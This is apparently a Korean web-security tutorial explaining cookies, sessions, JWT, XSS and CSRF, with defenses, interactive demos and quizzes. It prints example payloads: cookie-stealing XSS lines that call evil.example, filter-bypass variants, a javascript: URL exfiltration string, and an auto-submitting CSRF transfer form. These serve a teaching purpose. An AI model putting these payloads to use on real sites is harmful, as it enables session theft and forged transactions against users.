본문으로 건너뛰기

인증과 보안

1. 로그인 상태는 어디에 남을까​

HTTP는 요청 하나하나를 따로 처리합니다. 서버는 방금 로그인한 사용자가 다음 요청을 보내도 같은 사람인지 알지 못합니다. 그래서 로그인에 성공하면 서버는 "이 사람은 로그인했다"는 증표를 건네고, 브라우저는 이후 요청마다 그 증표를 함께 보냅니다.

이 증표를 다루려면 두 가지를 정해야 합니다.

질문선택지
증표를 무엇으로 만들까?세션 ID, JWT
증표를 어떻게 실어 보낼까?쿠키, Authorization 헤더

증표만 있으면 로그인한 사용자로 인정받기 때문에 공격자는 이 증표를 노립니다. 방법은 크게 두 가지입니다.

  • XSS: 우리 사이트 안에서 공격자의 스크립트를 실행시켜 증표를 훔치거나, 증표를 가진 채로 직접 요청을 보냅니다.
  • CSRF: 브라우저가 쿠키를 자동으로 붙여 보내는 성질을 이용해, 사용자가 모르는 사이에 요청을 보내게 만듭니다.

이 글은 쿠키, 세션, JWT를 짧게 정리한 다음, 이 증표를 노리는 XSS와 CSRF를 자세히 다룹니다.

2. 쿠키​

쿠키는 서버가 브라우저에 저장해 달라고 맡기는 작은 값입니다. 서버가 응답에 Set-Cookie 헤더를 붙이면 브라우저가 저장합니다.

HTTP/1.1 200 OK
Set-Cookie: sid=a1b2c3; Path=/; HttpOnly; Secure; SameSite=Lax

그 뒤로 브라우저는 같은 사이트로 가는 요청마다 이 쿠키를 자동으로 붙입니다. 개발자가 따로 코드를 쓰지 않아도 됩니다.

GET /api/me HTTP/1.1
Host: shop.example.com
Cookie: sid=a1b2c3

이 "자동으로"가 쿠키의 가장 큰 장점이자, 뒤에서 볼 CSRF가 생기는 이유입니다.

속성으로 쿠키의 범위를 정합니다​

속성뜻보안과의 관계
Domain, Path어느 주소로 보낼지넓게 잡을수록 더 많은 곳으로 쿠키가 갑니다
Expires, Max-Age언제까지 저장할지없으면 브라우저를 닫을 때 지워집니다
SecureHTTPS 요청에만 보냄네트워크 중간에서 엿보는 것을 막습니다
HttpOnlyJavaScript에서 읽지 못함XSS로 쿠키 값을 훔치는 것을 막습니다
SameSite다른 사이트에서 시작된 요청에 보낼지CSRF를 막는 첫 번째 방어선입니다

HttpOnly와 SameSite가 실제로 무엇을 막고 무엇을 못 막는지는 5번과 6번에서 봅니다.

3. 세션과 JWT​

증표를 만드는 방식은 크게 두 가지입니다. 상태를 서버가 기억하는지, 토큰이 직접 들고 다니는지가 다릅니다.

세션 방식은 브라우저가 세션 ID를 보내면 서버가 세션 저장소에서 사용자를 조회하고, JWT 방식은 브라우저가 토큰을 보내면 서버가 저장소 없이 서명과 만료만 검증하는 차이를 비교한 그림

세션: 서버가 기억합니다​

  1. 로그인에 성공하면 서버는 아무 의미 없는 긴 난수(세션 ID)를 만듭니다.
  2. 세션 저장소(메모리, Redis 등)에 세션 ID → 사용자 정보를 저장합니다.
  3. 세션 ID를 쿠키로 내려 줍니다.
  4. 이후 요청이 오면 쿠키의 세션 ID로 저장소를 조회해 누구인지 알아냅니다.

세션 ID 자체에는 아무 정보도 없습니다. 그래서 서버가 저장소에서 지우기만 하면 그 순간 로그아웃됩니다.

JWT: 토큰이 스스로 증명합니다​

JWT(JSON Web Token)는 사용자 정보를 토큰 안에 직접 담고, 서버만 아는 키로 서명한 문자열입니다. 점(.)으로 나뉜 세 부분으로 이루어집니다.

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI0MiIsImV4cCI6MTc2MTcwMDAwMH0.4pcPyMD09olPSyXnrXCjTwXyr4BsezdI1AVTmud2fU4
헤더 페이로드 서명

헤더와 페이로드는 Base64URL로 인코딩만 한 것이라 누구나 풀어 볼 수 있습니다.

JSON.parse(atob("eyJzdWIiOiI0MiIsImV4cCI6MTc2MTcwMDAwMH0"));
// { sub: '42', exp: 1761700000 }

서명은 내용을 숨기는 게 아니라 바꾸지 못하게 합니다. 누군가 sub를 '1'로 바꾸면 서명이 맞지 않아 서버가 거절합니다. 서버는 저장소를 조회하지 않고 서명과 만료 시간만 확인하면 됩니다.

비교​

세션JWT
상태는 어디에서버 저장소토큰 안
서버가 매번 하는 일저장소 조회서명 검증
즉시 로그아웃·강제 만료저장소에서 지우면 끝만료 전까지는 어렵습니다
서버 여러 대로 늘릴 때저장소를 함께 써야 합니다키만 공유하면 됩니다
크기짧은 ID정보가 많을수록 길어집니다

세션과 JWT는 증표의 형식이고, 쿠키와 Authorization 헤더는 운반 방식입니다. 둘은 서로 다른 축이라서 JWT를 쿠키에 담아 보낼 수도 있습니다. 보안에서 중요한 건 형식보다 운반 방식입니다. 쿠키로 보내면 CSRF를, JavaScript가 읽을 수 있는 곳에 두면 XSS를 신경 써야 합니다.

4. 공격자가 노리는 두 가지 길​

브라우저에는 동일 출처 정책(Same-Origin Policy) 이 있어서, evil.example의 스크립트는 shop.example.com의 화면, 쿠키, localStorage, 응답 내용을 읽을 수 없습니다. 그래서 공격자에게 남는 길은 두 가지입니다.

XSSCSRF
아이디어우리 출처 안으로 들어간다우리 출처 밖에서 요청만 보낸다
공격자 코드가 실행되는 곳shop.example.comevil.example
응답을 읽을 수 있나읽을 수 있음읽을 수 없음
할 수 있는 일사용자가 할 수 있는 모든 것상태를 바꾸는 요청 보내기

5. XSS​

XSS(Cross-Site Scripting) 는 공격자가 넣은 스크립트가 우리 사이트의 페이지에서 실행되는 취약점입니다. 브라우저는 우리 코드와 공격자의 코드를 구별하지 못하므로, 공격자의 코드도 우리 사이트와 똑같은 권한을 가집니다.

어떻게 일어날까​

댓글을 이렇게 출력한다고 해 봅시다.

commentEl.innerHTML = comment.body;

공격자가 아래 댓글을 남기면, innerHTML이 이를 HTML로 해석해 img를 만들고, 이미지 x를 불러오다 실패하는 순간 onerror의 코드가 실행됩니다.

<img src="x" onerror="fetch('https://evil.example/c?d=' + document.cookie)">

innerHTML로 넣은 <script> 태그는 실행되지 않기 때문에 실제 공격에는 이런 이벤트 핸들러 속성이 쓰입니다. "script 태그만 걸러내면 안전하다"가 틀린 이유입니다.

종류공격 코드가 있는 곳예시
저장형(Stored)서버 DB댓글, 게시글, 프로필 이름
반사형(Reflected)요청 URL검색 페이지가 ?q= 값을 그대로 출력
DOM 기반(DOM-based)브라우저 안클라이언트 코드가 location.hash를 innerHTML에 넣음

Stored XSS는 한 번 심어 두면 페이지를 보는 모든 사람이 당하기 때문에 가장 위험합니다.

직접 해 보기: 댓글 하나로 비밀번호 훔치기​

공격자는 쿠키 대신 비밀번호를 노릴 수도 있습니다. 아래 댓글은 페이지에 가짜 "세션 만료" 로그인 창을 띄우고, 입력값을 evil.example로 보냅니다. 댓글을 등록한 뒤 피해자 화면에서 로그인해 보고, 출력 방식을 textContent로 바꿔 다시 확인해 보세요.

Stored XSS 시뮬레이션

댓글 하나로 가짜 로그인 창 띄우기

공격자가 댓글을 저장하고, 피해자가 그 페이지를 열면 어떤 일이 생기는지 따라가 보세요. 출력 방식을 바꿔 같은 댓글을 다시 열어 볼 수도 있습니다.

댓글을 화면에 넣는 코드
https://shop.example.com/products/1

무선 키보드 K2

₩59,000

댓글 1
  • kim키감이 좋아요. 재구매 의사 있습니다.
evil.example 서버 로그

아직 받은 요청이 없습니다.

① 공격자

댓글 칸에 HTML이 섞인 댓글을 남깁니다. 서버는 이 문자열을 그대로 DB에 저장합니다. 아래 버튼으로 등록해 보세요.

이 데모는 댓글을 실제로 실행하지 않고, DOMParser로 분석해 innerHTML이었다면 일어날 일을 흉내 냅니다. 입력한 값은 어디에도 전송되지 않지만, 실제 비밀번호는 입력하지 마세요. 실제 공격이었다면 서버 로그에 비밀번호가 그대로 남습니다.

가짜 창은 진짜 shop.example.com 페이지 안에 뜨기 때문에 주소창으로는 알아챌 수 없습니다. 그리고 공격자가 얻은 것은 쿠키가 아니라 비밀번호이므로 HttpOnly나 SameSite는 아무 역할을 하지 못합니다. fetch에 mode: 'no-cors'를 쓴 것도 눈여겨볼 만합니다. 응답은 읽지 못해도 요청은 그대로 나갑니다.

공격자가 악성 댓글을 저장하면 서버가 이를 그대로 HTML 응답에 포함하고, 피해자 브라우저에서 스크립트가 사이트 출처 권한으로 실행되어 쿠키와 저장소를 읽거나 사용자 권한으로 요청을 보내거나 화면을 조작하는 저장형 XSS 흐름 그림

정리하면 XSS로 실행된 스크립트는 쿠키·localStorage 읽기, 사용자 대신 요청 보내기, 화면 조작을 모두 할 수 있습니다. HttpOnly가 막는 건 그중 쿠키 값을 읽는 것 하나뿐입니다. 그래서 XSS 방어의 중심은 스크립트가 실행되지 않게 하는 것입니다.

방어​

XSS 방어는 여러 겹으로 쌓습니다. 첫 번째 방법이 가장 중요하고, 나머지는 첫 번째를 어딘가에서 놓쳤을 때를 대비하는 장치입니다.

1. 사용자가 쓴 글은 글자로만 보여 주기​

XSS가 생기는 이유는 단순합니다. 사용자가 쓴 글을 브라우저가 HTML 코드로 읽었기 때문입니다. 브라우저는 <를 보면 "여기서 태그가 시작되는구나" 하고 읽습니다. 그러니 사용자가 쓴 <는 태그가 아니라 그냥 < 모양의 글자로 보이게 바꿔 주면 됩니다. 이 작업을 이스케이프라고 합니다.

원래 글자바꾼 글자
<&lt;
>&gt;
&&amp;
"&quot;

이렇게 바꾸면 공격 댓글도 화면에 글자로만 보이고 실행되지는 않습니다.

<!-- 바꾸기 전: 브라우저가 img 태그로 읽고 onerror를 실행합니다 -->
<img src="x" onerror="alert(1)">

<!-- 바꾼 뒤: 화면에 <img src="x" onerror="alert(1)"> 라는 글자가 보일 뿐입니다 -->
&lt;img src=&quot;x&quot; onerror=&quot;alert(1)&quot;&gt;

이 변환을 직접 할 일은 거의 없습니다. 브라우저와 프레임워크가 대신해 주는 방법을 쓰면 됩니다.

commentEl.innerHTML = comment.body; // ❌ HTML로 읽습니다
commentEl.textContent = comment.body; // ✅ 글자 그대로 넣습니다

React도 JSX 안에 {comment.body}처럼 넣은 값은 자동으로 이스케이프합니다. 그래서 React로 만든 화면은 대부분 안전합니다. 문제는 React의 보호를 벗어나는 코드입니다. 아래 코드를 보면 한 번 더 확인해 봐야 합니다.

이런 코드가 보이면왜 위험할까
dangerouslySetInnerHTML값을 HTML로 읽으라고 React에게 직접 시키는 코드입니다. 이름에 "위험"이 들어간 이유가 있습니다.
<a href={user.website}>사용자가 주소 대신 javascript:로 시작하는 코드를 넣으면, 링크를 누를 때 그 코드가 실행됩니다. 바로 아래에서 자세히 봅니다.
ref.current.innerHTML = ...React를 거치지 않고 DOM에 바로 넣기 때문에 React가 도와줄 수 없습니다.
eval(...), new Function(...)문자열을 코드로 실행하는 함수라서, 사용자 입력이 섞이면 그대로 실행됩니다.

링크 주소는 따로 검사해야 합니다​

프로필에 "내 웹사이트" 칸이 있다고 해 보겠습니다. 사용자는 보통 https://myblog.com 같은 주소를 넣고, 화면에는 이렇게 링크로 보여 줍니다.

<a href={user.website}>웹사이트</a>

그런데 브라우저에는 링크에 관한 특별한 기능이 하나 있습니다. href가 javascript:로 시작하면, 링크를 눌렀을 때 페이지를 이동하지 않고 뒤에 적힌 코드를 실행합니다.

<a href="https://myblog.com">웹사이트</a> <!-- 누르면 myblog.com으로 이동 -->
<a href="javascript:alert(1)">웹사이트</a> <!-- 누르면 alert(1) 실행 -->

그러니 공격자는 웹사이트 칸에 주소 대신 javascript: 뒤에 공격 코드를 붙여 넣기만 하면 됩니다. 다른 사람이 공격자의 프로필에서 "웹사이트"를 누르는 순간 코드가 실행됩니다.

"React가 자동으로 이스케이프해 주지 않나?" 싶을 수 있습니다. 1번에서 본 것처럼 이스케이프는 <, >, ", & 네 글자를 다른 글자로 바꾸는 작업입니다. 그런데 javascript:alert(1)에는 이 네 글자가 하나도 없습니다. 바꿀 게 없으니 React를 거쳐도 값이 그대로 들어갑니다.

// user.website = "javascript:alert(1)"
<a href={user.website}>웹사이트</a>

// React가 만든 결과: 입력값 그대로입니다
<a href="javascript:alert(1)">웹사이트</a>

이스케이프는 사용자 글이 태그로 바뀌는 것을 막을 뿐, 그 값이 안전한 주소인지는 확인하지 않습니다. 그래서 주소는 직접 검사해야 합니다.

"javascript:로 시작하면 막자"는 방법으로는 부족합니다. 브라우저는 JavaScript:처럼 대소문자를 섞어도, 앞에 공백을 넣어도 똑같이 실행하기 때문입니다. 막을 것을 고르지 말고, 반대로 허락할 것만 정해 둡니다. http:와 https: 주소만 받고 나머지는 전부 거절합니다.

function safeUrl(value) {
try {
const url = new URL(value, location.origin);
return ["http:", "https:"].includes(url.protocol) ? url.href : "about:blank";
} catch {
return "about:blank";
}
}

<a href={safeUrl(user.website)}>웹사이트</a>;

여기서 startsWith 같은 문자열 비교 대신 new URL()을 쓴 데는 이유가 있습니다. 공격자는 javascript:를 조금씩 바꿔 쓸 수 있고, 브라우저는 바꿔 쓴 값도 모두 실행합니다. 문자열 비교로는 이런 값이 빠져나갑니다.

value.startsWith("javascript:");
// "javascript:alert(1)" → true (막힘)
// "JavaScript:alert(1)" → false (통과! 하지만 브라우저는 실행합니다)
// " javascript:alert(1)" → false (통과! 하지만 브라우저는 실행합니다)

new URL()은 앞의 공백을 지우고 소문자로 바꾸는 등, 브라우저와 같은 방식으로 값을 정리한 다음 결과를 알려 줍니다. 그래서 세 값 모두 똑같이 javascript:로 나옵니다. 브라우저가 실행할 값이라면 검사에서도 반드시 걸린다는 뜻입니다.

new URL("javascript:alert(1)").protocol; // 'javascript:' → 거절
new URL("JavaScript:alert(1)").protocol; // 'javascript:' → 거절
new URL(" javascript:alert(1)").protocol; // 'javascript:' → 거절
new URL("https://myblog.com").protocol; // 'https:' → 허용

React도 href에 javascript: 주소가 들어오면 콘솔에 경고를 띄우기는 합니다. 하지만 버전에 따라서는 경고만 남기고 링크는 그대로 만들어 버립니다. 그러니 React만 믿지 말고 직접 검사해 두는 게 좋습니다.

2. HTML을 그대로 보여 줘야 할 때는 위험한 것만 골라서 지우기​

게시판 에디터로 글을 쓰면 굵은 글씨, 링크, 이미지 같은 서식이 HTML로 저장됩니다. 이 글을 1번처럼 이스케이프하면 문제가 생깁니다. <b>반가워요</b>가 굵은 글씨가 아니라 <b>반가워요</b>라는 글자 그대로 화면에 보입니다.

그래서 이럴 때는 방법을 바꿉니다. 서식 태그는 그대로 두고, 위험한 것만 골라서 지웁니다. 이 작업을 새니타이즈(sanitize) 라고 합니다. "소독한다"는 뜻입니다.

import DOMPurify from "dompurify";

const html = '<p>안녕하세요 <b>반가워요</b></p><img src="x" onerror="alert(1)">';

DOMPurify.sanitize(html);
// '<p>안녕하세요 <b>반가워요</b></p><img src="x">'
// 굵은 글씨는 그대로 남고, 코드를 실행하는 onerror만 사라졌습니다

화면에 넣을 때는 이렇게 씁니다.

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(post.html) }} />

이걸 직접 만들면 안 될까요? "onerror라는 글자만 지우면 되겠지" 하고 정규식을 짜기 쉽지만, 공격자가 코드를 숨기는 방법은 끝이 없습니다.

<IMG SRC=x OnErRoR=alert(1)> <!-- 대소문자를 섞어도 브라우저는 똑같이 실행합니다 -->
<svg onload=alert(1)> <!-- onerror 말고도 코드를 실행하는 속성은 많습니다 -->
<a href="jav&#x61;script:alert(1)">클릭</a> <!-- &#x61;는 a라는 뜻이라 결국 javascript:가 됩니다 -->

이런 경우를 하나씩 찾아서 막다 보면 반드시 빠뜨리는 게 생깁니다. DOMPurify는 반대로 움직입니다. 안전하다고 확인된 태그와 속성의 목록을 들고 있다가, 목록에 없는 건 전부 지웁니다. 앞에서 링크 주소를 검사할 때와 같은 방식입니다. 그리고 이미 많은 서비스에서 쓰이면서 우회 방법이 발견될 때마다 고쳐져 왔습니다.

언제 지울지도 중요합니다. 새니타이즈는 DB에 저장할 때가 아니라 화면에 넣기 바로 직전에 합니다. 저장할 때 한 번 걸렀다고 안심하면 두 가지를 놓칩니다.

  • 다른 경로로 DB에 들어온 글은 걸러지지 않은 채로 남아 있을 수 있습니다. 관리자 도구나 예전 버전의 API로 들어온 글 같은 경우입니다.
  • 나중에 새 우회 방법이 알려져 라이브러리를 업데이트해도, 이미 저장된 글에는 적용되지 않습니다.

3. 뚫렸을 때 피해 줄이기​

앞의 방법을 다 써도 완벽하다고 장담할 수는 없습니다. 그래서 XSS가 생겼을 때 피해가 덜 커지도록 미리 준비해 둡니다.

  • 인증 쿠키에 HttpOnly를 붙입니다. 공격자가 쿠키 값을 빼 가서 자기 컴퓨터에서 마음대로 쓰는 일은 막을 수 있습니다.
  • 토큰 유효 기간을 짧게 둡니다. 토큰이 새어 나가도 쓸 수 있는 시간이 짧아집니다.
  • 중요한 작업은 한 번 더 확인합니다. 비밀번호 변경, 이메일 변경, 결제 같은 작업입니다. 확인 단계가 없으면 스크립트가 사용자 몰래 뒤에서 요청을 보내는 것만으로 끝납니다. 확인 단계가 있으면 공격자는 사용자를 속여서 값을 직접 입력하게 만들어야 하므로 공격이 한 단계 더 어려워집니다.

다만 이 확인을 같은 페이지 안에서 비밀번호를 다시 묻는 방식으로 하면 완벽하지 않습니다. 위 데모에서 봤듯이 XSS가 있으면 공격자도 진짜와 똑같은 비밀번호 입력창을 띄울 수 있기 때문입니다. 그래서 정말 중요한 작업은 페이지 밖의 다른 경로로 확인합니다.

  • 휴대폰 OTP 앱이나 문자로 받은 인증 번호를 입력하게 합니다.
  • 기존 이메일로 "정말 변경하시겠어요?" 확인 메일을 보냅니다.
  • 변경이 끝나면 기존 연락처로 알림을 보내서, 본인이 아니면 바로 알아챌 수 있게 합니다.

페이지 안의 스크립트는 사용자의 휴대폰이나 메일함까지 들여다볼 수는 없습니다.

정리​

방법막아 주는 것막지 못하는 것
이스케이프 (textContent, React {})사용자 글이 코드로 읽히는 것javascript: URL, React 밖에서 쓴 innerHTML
링크 주소 검사 (http:, https:만 허용)javascript: 링크검사를 거치지 않은 링크
새니타이즈 (DOMPurify)HTML을 보여 줘야 할 때 위험한 부분라이브러리를 거치지 않은 출력
HttpOnly, 짧은 만료, 다른 경로로 재확인토큰 유출, 중요한 작업을 몰래 처리하는 것페이지가 열려 있는 동안 사용자 대신 보내는 요청, 가짜 입력창으로 비밀번호 빼 가기

6. CSRF​

CSRF(Cross-Site Request Forgery) 는 사용자가 로그인해 있는 사이트로, 다른 사이트에서 사용자 모르게 요청을 보내게 만드는 공격입니다.

어떻게 일어날까​

사용자가 bank.example에 로그인한 상태로 evil.example에 들어가면, 숨어 있던 폼이 자동으로 제출됩니다.

<form action="https://bank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="1000000" />
</form>
<script>document.forms[0].submit();</script>

브라우저는 bank.example로 가는 요청이니 저장된 쿠키를 자동으로 붙이고, 은행 서버는 정상 요청으로 보고 송금합니다.

피해자가 bank.example에 로그인해 쿠키를 받은 뒤 evil.example을 방문하면, 자동 제출되는 숨은 폼이 bank.example로 POST 요청을 보내고 브라우저가 쿠키를 자동으로 첨부해 은행 서버가 정상 요청으로 처리하는 CSRF 흐름 그림

공격자는 응답을 읽지 못하지만 송금은 이미 끝났습니다. CORS도 이를 막지 못합니다. CORS는 응답을 읽을 수 있는지를 정할 뿐, 요청을 보낼 수 있는지를 정하지 않습니다. HTML 폼 제출이나 단순 요청(application/x-www-form-urlencoded 등)은 사전 요청 없이 서버에 그대로 도착합니다.

방어​

방법원리한계
SameSite=Lax / Strict다른 사이트에서 시작된 요청에 쿠키를 붙이지 않음Lax는 링크 이동 GET에 쿠키를 보냄, 같은 사이트의 하위 도메인은 막지 못함
CSRF 토큰페이지에 넣은 비밀 값을 요청에 함께 담게 함. 다른 출처는 페이지를 읽을 수 없으니 값을 모름상태를 바꾸는 모든 요청에 빠짐없이 적용해야 함
Origin / Sec-Fetch-Site 검사브라우저가 붙이는 출발지 헤더를 보고 same-origin이 아닌 요청을 거절오래된 브라우저는 헤더가 없을 수 있음
Authorization 헤더로 토큰 전송브라우저가 자동으로 붙이지 않으므로 CSRF가 원리상 불가능JavaScript가 토큰을 읽어야 하므로 XSS에 노출됨

Chrome은 SameSite를 적지 않은 쿠키를 Lax로 취급하지만 모든 브라우저가 그렇지는 않으니 항상 직접 적습니다.

직접 해 보기: 어떤 설정에서 송금이 막힐까​

아래에서 은행의 방어 설정과 공격 방법을 바꿔 가며 공격자 페이지를 열어 보세요. 이런 순서로 해 보면 흐름이 잘 보입니다.

  1. 아무 방어도 없는 상태에서 공격해 봅니다. 쿠키가 따라가서 송금이 됩니다.
  2. SameSite를 Lax로 바꿉니다. 숨은 폼(POST)은 막힙니다.
  3. 공격 방법을 링크(GET)로 바꿉니다. Lax여도 쿠키가 따라가서 다시 송금이 됩니다.
  4. SameSite를 Strict로 바꾸고, 공격 페이지 위치를 promo.bank.example로 바꿉니다. 같은 사이트라서 여전히 송금이 됩니다.
  5. CSRF 토큰 검사를 켭니다. 이제 어떤 조합이든 막힙니다.
CSRF 실험실

은행 쿠키는 언제 따라가고, 언제 막힐까?

피해자는 bank.example에 로그인한 채로 공격자 페이지를 엽니다. 은행의 방어 설정과 공격 방법을 바꿔 가며 송금이 되는지 확인해 보세요.

은행이 켜 둔 방어
세션 쿠키의 SameSite
CSRF 토큰 검사
공격자가 고른 방법
공격 페이지 위치
요청을 보내는 방법
https://bank.example/account
김에이셉 님 · 로그인됨

1,000,000원

브라우저에 저장된 쿠키
sid=a1b2c3; SameSite=None
https://evil.example/event

🎁 경품에 당첨되셨습니다!

이 페이지에는 숨은 폼이 있어서, 여는 순간 자동으로 제출됩니다.
공격자 페이지의 코드 보기
<form action="https://bank.example/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="100000">
</form>
<script>document.forms[0].submit();</script>
은행 서버가 받은 요청

아직 받은 요청이 없습니다.

설정을 고른 뒤 공격자 페이지를 열어 보세요

처음에는 아무 방어도 없는 상태입니다. 송금이 되는 걸 확인한 다음 SameSite를 Lax로 바꿔 보고, 공격 방법을 링크로 바꿔 보세요.

마지막으로, CSRF 방어는 모두 "공격자는 우리 출처 밖에 있다"는 전제 위에 있습니다. XSS가 있으면 공격자의 스크립트가 CSRF 토큰을 읽고 같은 출처 요청을 보낼 수 있으므로 모든 방어가 무력해집니다. XSS 방어가 먼저입니다.

7. 토큰은 어디에 두어야 할까​

저장 위치XSS로 토큰을 훔칠 수 있나CSRF 걱정새로고침해도 남나
localStorage예없음예
JavaScript 메모리(변수)어렵지만 가능없음아니요
HttpOnly 쿠키아니요있음(SameSite, CSRF 토큰으로 방어)예

먼저 알아 둘 점이 있습니다. 토큰을 어디에 두든, XSS가 있으면 공격자는 사용자 대신 요청을 보낼 수 있습니다. 공격자의 스크립트가 우리 페이지 안에서 돌아가기 때문입니다. 저장 위치에 따라 달라지는 건 공격자가 토큰을 들고 나갈 수 있느냐입니다.

  • localStorage에 둔 경우: 공격자가 토큰을 그대로 복사해 갈 수 있습니다. 그다음부터는 사용자가 브라우저를 꺼도 상관없습니다. 토큰이 만료될 때까지 공격자가 자기 컴퓨터에서 마음대로 씁니다.
  • HttpOnly 쿠키에 둔 경우: 스크립트가 토큰을 읽을 수 없으니 복사해 갈 수도 없습니다. 공격자가 할 수 있는 건 사용자가 그 페이지를 열어 둔 동안, 그 브라우저 안에서 요청을 보내는 것뿐입니다. 사용자가 탭을 닫으면 공격도 끝납니다.

둘 다 위험하지만 피해 범위는 꽤 다릅니다.

실제 서비스에서는 토큰을 두 개로 나눠서 쓰는 경우가 많습니다.

하는 일유효 기간어디에 두나
액세스 토큰API를 부를 때마다 보내는 출입증짧게 (5~15분)JavaScript 변수(메모리)
리프레시 토큰액세스 토큰이 만료되면 새로 받아 오는 데 쓰는 교환권길게 (며칠~몇 주)HttpOnly; Secure; SameSite=Strict 쿠키

자주 쓰는 액세스 토큰은 혹시 새어 나가도 금방 쓸모없어지도록 짧게 만듭니다. 오래 쓰는 리프레시 토큰은 스크립트가 아예 읽을 수 없는 쿠키에 넣어 둡니다. 새로고침을 하면 변수에 있던 액세스 토큰은 사라지지만, 리프레시 토큰으로 바로 새것을 받아 오면 됩니다.

리프레시 토큰도 한 번 쓰면 버리고 새것으로 바꿔 줍니다(rotation). 이렇게 하면 탈취를 알아챌 수 있습니다. 이미 한 번 쓴 리프레시 토큰이 다시 들어왔다면, 누군가 예전 토큰을 몰래 복사해 둔 것입니다. 이때 서버는 그 사용자의 토큰을 모두 끊어서 다시 로그인하게 만듭니다.

9. 한눈에 보는 표​

주제핵심주의할 점
쿠키브라우저가 자동으로 붙여 보냄HttpOnly, Secure, SameSite를 직접 적기
세션서버가 상태를 기억저장소를 공유해야 함
JWT토큰이 서명으로 스스로 증명내용은 공개됨, 알고리즘 고정, 즉시 무효화 어려움
XSS공격자 스크립트가 우리 출처에서 실행HttpOnly만으로 막지 못함, 이스케이프 + 링크 주소 검사 + 새니타이즈
CSRF다른 사이트에서 쿠키가 붙은 요청을 보냄CORS로 막지 못함, SameSite + CSRF 토큰 + Sec-Fetch-Site, GET으로 상태 변경 금지
토큰 저장저장 위치가 공격자가 얻는 것을 바꿈어디에 두든 XSS 방어가 먼저

10. 퀴즈로 확인하기​

퀴즈 1 (XSS). 인증 쿠키에 HttpOnly를 붙였습니다. 팀원이 "이제 XSS가 생겨도 계정은 안전하다"고 말합니다. 맞을까요?

정답 보기

틀렸습니다.

HttpOnly는 document.cookie로 쿠키 값을 읽는 것만 막습니다. XSS로 실행된 스크립트는 우리 출처 안에서 돌아가므로, fetch로 같은 출처에 요청을 보내면 브라우저가 쿠키를 자동으로 붙여 줍니다. 공격자는 쿠키 값을 몰라도 이메일 변경, 결제 같은 요청을 사용자 대신 보낼 수 있습니다. HttpOnly는 피해를 줄이는 장치이고, XSS 자체는 이스케이프와 새니타이즈로 막아야 합니다.

퀴즈 2 (React). 프로필 페이지에 사용자가 입력한 웹사이트 주소를 링크로 보여 줍니다. React는 자동으로 이스케이프하니 안전할까요?

<a href={user.website}>웹사이트</a>
정답 보기

안전하지 않습니다.

React의 이스케이프는 문자열이 HTML 태그로 해석되는 것을 막을 뿐, URL의 스킴은 검사하지 않습니다. 사용자가 웹사이트로 javascript:fetch('https://evil.example/?c='+document.cookie)를 입력하면, 다른 사용자가 링크를 누르는 순간 스크립트가 실행됩니다. new URL()로 파싱해 http:, https:만 허용해야 합니다.

퀴즈 3 (CSRF와 CORS). API 서버에 CORS를 설정해 https://shop.example.com만 허용했습니다. 그런데 보안 점검에서 /account/password가 CSRF에 취약하다는 결과가 나왔습니다. CORS를 설정했는데 왜 그럴까요?

정답 보기

CORS는 다른 출처의 응답을 읽는 것을 막을 뿐, 요청을 보내는 것은 막지 않기 때문입니다.

evil.example에서 HTML 폼으로 POST /account/password를 제출하면 CORS 검사 없이 요청이 서버에 도착하고, 쿠키도 함께 붙습니다. 서버가 요청을 처리한 뒤에야 브라우저가 응답을 가리므로 비밀번호는 이미 바뀌었습니다. 인증 쿠키에 SameSite=Lax 이상을 걸고, CSRF 토큰이나 Sec-Fetch-Site 검사를 함께 적용해야 합니다.

퀴즈 4 (SameSite). 인증 쿠키에 SameSite=Lax를 걸었습니다. 그런데 evil.example에 올라온 링크 하나를 눌렀더니 계정이 탈퇴됐습니다. 탈퇴 API는 GET /account/delete였습니다. 왜 막히지 않았을까요?

정답 보기

Lax는 링크를 눌러 페이지를 이동하는 GET 요청에는 쿠키를 보내기 때문입니다.

Lax가 막는 건 다른 사이트에서 시작된 POST, fetch, <img> 같은 요청입니다. 다른 사이트에서 링크로 들어와도 로그인 상태가 유지되도록, 최상위 이동 GET에는 쿠키를 허용합니다. 그래서 GET으로 상태를 바꾸는 API는 Lax로 보호되지 않습니다. 탈퇴처럼 상태를 바꾸는 작업은 POST나 DELETE로 바꾸고, CSRF 토큰으로 한 번 더 확인해야 합니다.

퀴즈 5 (JWT). 사용자가 로그아웃하면 클라이언트에서 JWT를 지우도록 만들었습니다. 그런데 로그아웃 직전에 토큰이 유출된 사용자의 계정에서 로그아웃 후에도 요청이 들어옵니다. 왜 그럴까요?

정답 보기

JWT는 서버가 상태를 기억하지 않고 서명과 만료 시간만 확인하기 때문입니다.

클라이언트에서 토큰을 지워도, 이미 복사된 토큰은 exp가 지날 때까지 서버 입장에서 여전히 유효합니다. 액세스 토큰의 유효 기간을 짧게 두고 리프레시 토큰을 서버에서 폐기하거나, 즉시 끊어야 한다면 jti 차단 목록을 두어야 합니다. 즉시 로그아웃이 중요하다면 처음부터 세션 방식을 고르는 것도 방법입니다.